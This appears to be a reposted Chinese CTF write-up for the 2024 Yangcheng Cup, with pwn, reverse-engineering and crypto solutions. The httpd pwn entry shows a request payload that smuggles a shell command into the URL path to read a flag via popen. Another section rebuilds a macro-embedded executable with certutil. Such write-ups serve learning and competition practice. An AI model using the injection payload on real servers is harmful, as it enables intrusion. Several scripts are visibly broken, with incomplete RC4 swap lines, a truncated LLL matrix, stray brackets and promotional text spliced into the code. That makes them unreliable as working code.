io.sendlineafter(b"5. Calculate the distance.", b'6')
io.interactive()
httpd
看着难,其实看明白了非常简单的一道题
httpd用的是stdin,不走tcp,ida静态分析发现popen里有命令执行,所以第一次发送命令读flag,程序退出之后,再nc一次,发送html,读出flag
直接利用pwntools发送就行了,两次即可
第一次
pay = """get /cat</flag>1.html HTTP/1.0
Host: 1.1.1.1
Content-Length: 123
"""
第二次
pay = """get /1.html HTTP/1.0
Host: 1.1.1.1
Content-Length: 123
"""
RE
pic
go语言逆向程序,发现程序开启了反调试,并且程序本身开启了符号保护,我们通过字符go语言的符号还原插件go_parser还原主要的API函数,定位到程序的加密代码
main.main 函数主要就是读取 flag.png 然后 rc4 解密
def rc4(enc,key):
s=[]
for i in range(256):
s.append(i)
t=[]
for i in range(256):
t.append(ord(key[i%len(key)]))
j=0
for i in range(256):
j=(j+s[i]+t[i])%256
s[j],s[i] =
i=0
j=0
result=[]
for k in range(len(enc)):
i=(i+1)%256
j=(j+s[i])%256
s[j] = s[j], s[i]
x=(s[i]+s[j])%256
result.append(enc[k]^s[x]^ord(key[1])^17)
return result
for i in tqdm(product(Map,repeat=5)):
key = "".join(list(i))
enc = [0x85,0x43,0x72,0x78]
flag=rc4(enc,key)
if flag==[137, 80, 78, 71]:
print(key)
exit()
输入密钥key=0173d,得flag
你这主函数保真吗
直接打开就是什么都没有,后来发现这是个假的主函数
发现两个encrypt,点进去找到真的主函数
两个加密函数分别是rot13和DCT
我们先逆DCT再逆rot13
from scipy.fftpack import dct, idct
import numpy as np
enc=[513.355, -37.7986, 8.7316, -10.7832, -1.3097, -20.5779,6.98641, -29.2989, 15.9422, 21.4138, 29.4754, -2.77161,-6.58794, -4.22332, -7.20771, 8.83506, -4.38138, -19.3898,
18.3453, 6.88259, -14.7652, 14.6102, 24.7414, -11.6222,-9.754759999999999, 12.2424, 13.4343, -34.9307, -35.735,-20.0848, 39.689, 21.879, 26.8296]
date_by_dct = idct(enc, norm='ortho')
result=[0 for i in range(len(date_by_dct))]
for i in range(len(date_by_dct)):
result[i] = round(date_by_dct[i])
for i in range(len(result)):
print(chr(result[i]),end="")
docCrack
又是个office文件,而且打开提示宏,有了上次ISG的经验,这次直接提取宏
利用olevba .protected_secret.docm
import chardet
result = []
with open('log.txt','r',encoding='utf-16') as f:
lines = f.readlines()
xp='dWPtWzWvKrZRFrsAWZMGNjZQbCrgAImKXVUkOykXWeRltpUU + AMaKeZzlhAtdNANKAKwMNbKEKUWuQVZQbbCJIUog + BvEKpalonhsRIgbPkYPYbsbQGzIzvPitapncgtGKIo + yBILPYnXCUApVHExOtpKlnfTkVfexwgrFQOFIveA + pqdgalQAZJKIDySPundFqdITahrgAYveJXfZCOUHWnUDKXZwZU + pErQJcjFIvYQeIehtTPMaOgEwFvvjnaTkabtJDvpHbWG + QmLHKhwBebnYaryyPsFeBassnVEjIoURcqNseXyjyMdcDfFnag'
pic = xp.split(' + ')
for i in pic:
for line in lines:
if '"' in line:
pass
else:
if i in line:
print(i)
result.append(line[line.index(' = ')+3:])
# print(line[line.index(' = ')+3:])
new_result = result[0] + ' + ' + result[1] + ' + ' +result[2] + ' + ' +result[3] + ' + ' +result[4] + ' + ' +result[5] + ' + ' +result[6]
new = new_result.split(' + ')
f.close()
rr = ''
with open('log2.txt', 'r', encoding='utf-16') as f:
lines = f.readlines()
for j in new:
for line in lines:
if j in line:
print(line[line.index(' = "')+4:-2])
rr=rr+line[line.index(' = "')+4:-2]
f.close()
with open('temp1','w') as file:
file.write(rr)
把之前那一大串数据进行赋值的同时,打包成exe文件
certutil -decode temp1 temp|certutil -decode temp temp.exe
根据v8直接
v8[i]6
v8[i]^=7
即可
Vba_1s_dangerous!!!_B1ware_0f_Macr0_V1ru5es!!!
几个质数在703440152里面然后-2
from Crypto.Util.number import *
n = 18770575776346636857117989716700159556553308603827318013591587255198383129370907809760732011993542700529211200756354110539398800399971400004000898098091275284235225898698802555566416862975758535452624647017057286675078425814784682675012671384340267087604803050995107534481069279281213277371234272710195280647747033302773076094600917583038429969629948198841325080329081838681126456119415461246986745162687569680825296434756908111148165787768172000131704615314046005916223370429567142992192702888820837032850104701948658736010527261246199512595520995042205818856177310544178940343722756848658912946025299687434514029951
c = 2587907790257921446754254335909686808394701314827194535473852919883847207482301560195700622542784316421967768148156146355099210400053281966782598551680260513547233270646414440776109941248869185612357797869860293880114609649325409637239631730174236109860697072051436591823617268725493768867776466173052640366393488873505207198770497373345116165334779381031712832136682178364090547875479645094274237460342318587832274304777193468833278816459344132231018703578274192000016560653148923056635076144189403004763127515475672112627790796376564776321840115465990308933303392198690356639928538984862967102082126458529748355566
p = next_prime(gmpy2.iroot(n, 2)[0])
q = n // p
e = prime_pi(703440151) - 2
d = gmpy2.invert(e, (p - 1) * (q - 1))
m = pow(c, d, n)
print(long_to_bytes(m))
BabyCurve
椭圆曲线加密
from Crypto.Cipher import AES
from Crypto.Util.number import inverse
from Crypto.Hash import SHA256
import hashlib
# 椭圆曲线点加法函数
def add_curve(P, Q, K):
a, d, p = K
if P == (0, 0): return Q
if Q == (0, 0): return P
x1, y1 = P
x2, y2 = Q
# 计算新的x坐标
x3 = ((x1 * y2 + y1 * x2) * pow(1 - d * x1**2 * x2**2, -1, p)) % p
# 计算新的y坐标
y3 = (((y1 * y2 + 2 * a * x1 * x2) * (1 + d * x1**2 * x2**2) + 2 * d * x1 * x2 * (x1**2 + x2**2)) * pow((1 - d * x1**2 * x2**2)**2, -1, p)) % p
return (x3, y3)
# 椭圆曲线点数乘法函数
def mul_curve(n, P, K):
R = (0, 0)
while n:
if n & 1: R = add_curve(R, P, K)
P = add_curve(P, P, K)
n >>= 1
return R
# 定义椭圆曲线参数
a, d = 46, 20
p1 = 826100030683243954408990060837
K1 = (a, d, p1)
G1 = (560766116033078013304693968735, 756416322956623525864568772142)
P1 = (528578510004630596855654721810, 639541632629313772609548040620)
Q1 = (819520958411405887240280598475, 76906957256966244725924513645)
# 定义用于加密的参数
c, b = 35, 98
p = 770311352827455849356512448287
E = EllipticCurve(GF(p), [-c, b])
G = E(584273268656071313022845392380, 105970580903682721429154563816)
P = E(401055814681171318348566474726, 293186309252428491012795616690)
# 生成密钥
def generate_key(point, base_point):
try:
# 尝试计算点对数,如果失败则返回None
return SHA256.new(str(point.log(base_point)).encode()).digest()[:16]
except Exception as e:
print(f"Error computing discrete logarithm: {e}")
return None
key = generate_key(P, G) if P and G else None
# 初始化向量和密钥
iv = b'bae1b42f174443d009c8d3a1576f07d6'
if key:
cipher = AES.new(key, AES.MODE_CBC, iv)
# 解密示例数据
encrypted_data = b'ff34da7a65854ed75342fd4ad178bf577bd622df9850a24fd63e1da557b4b8a4'
decrypted_data = cipher.decrypt(encrypted_data)
print(decrypted_data)
else:
print("Failed to generate key.")
TH_Curve
在这个网站找数据,一道ECC
https://www.hyperelliptic.org/EFD/g1p/data/twistedhessian/coordinates
from Crypto.Util.number import inverse, long_to_bytes
from Crypto.Hash import SHA256
# 定义椭圆曲线的素数阶
p = 10297529403524403127640670200603184608844065065952536889
# Hessian曲线的参数a
a = 2
# Hessian曲线上的基点G
G = (8879931045098533901543131944615620692971716807984752065, 4106024239449946134453673742202491320614591684229547464)
# Hessian曲线上的点Q
Q = (6784278627340957151283066249316785477882888190582875173, 6078603759966354224428976716568980670702790051879661797)
# 计算d值,用于Hessian到Weierstrass的转换
d = (a * G[0]**3 + G[1]**3 + 1) * inverse(G[1] * G[0], p) % p
# 计算转换系数
d3 = d * inverse(3, p) % p
a_d3 = a - d3**3
coefficients = [1] + [
(-3 * d3 * inverse(a_d3, p)) % p,
(-9 * d3**2 * inverse(a_d3**2, p)) % p,
(-9 * inverse(a_d3, p)) % p,
(-27 * d3 * inverse(a_d3**3, p)) % p,
(-27 * inverse(a_d3**4, p)) % p
]
# 定义Hessian到Weierstrass的转换函数
def toec(M):
x, y = M
u = (-3 * inverse((a - d3**3 * inverse(27, p)), p) * x * inverse(d3 * x * inverse(3, p) - (-y) + 1, p)) % p
v = (-9 * inverse((a - d3**3 * inverse(27, p))**2, p) * (-y) * inverse(d3 * x * inverse(3, p) - (-y) + 1, p)) % p
return (u, v)
# 定义Weierstrass曲线
E = EllipticCurve(GF(p), coefficients)
# 将Hessian曲线上的点转换到Weierstrass曲线
G_weierstrass = E(toec(G))
Q_weierstrass = E(toec(Q))
# 计算Q相对于G的标量乘法结果,并转换为字节序列
scalar_multiplication_result = Q.log(G_weierstrass)
result_bytes = long_to_bytes(scalar_multiplication_result)
# 输出结果
print("Scalar multiplication result in bytes:", result_bytes)
RSA_loss 已知m的高低位和m%n,然后枚举部分字符开始LLL算法
])
今天,我们揭晓羊城杯的PWN,Crypto,MISC,数据安全,RE,WEB方向的题目。请大家继续保持关注! 更多资源,敬请关注ZeroPointZero安全团队
注:ZeroPointZero安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的
from Crypto.Util.number import *
import itertools
import string
c = 356435791209686635044593929546092486613929446770721636839137
p = 898278915648707936019913202333
q = 814090608763917394723955024893
m = bytes_to_long(b'Xxeex1eyx88x01dXxf6ix91x80hxf4x1f!xa7"x0cx9ax06xc8x06x81x15')
for ii, jj, kk in itertools.product(string.digits + string.ascii_letters + '_', repeat=3):
for i in range(25, 26):
# 构造B1,它是特定模式的异或结果
B1 = 256 ^ (i + 1) * bytes_to_long(b"DASCTF{" + long_to_bytes(ii * 256**2 + jj * 256 + kk))
B2 = bytes_to_long(b"}")
U = B1 + B2 - m
M = matrix(ZZ, [[256**2, 0, 1], [U, 256, 0],
L = M.LLL()
for l in L:
if l[0] == 0:
flag = int(abs(l[2]))
if all(0 <= char <= 127 for char in long_to_bytes(flag)):
print(long_to_bytes(ii * 256**2 + jj * 256 + kk) + long_to_bytes(flag))
break # 找到flag后退出循环
原文始发于微信公众号(ZeroPointZero安全团队):2024羊城杯WriteUP
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论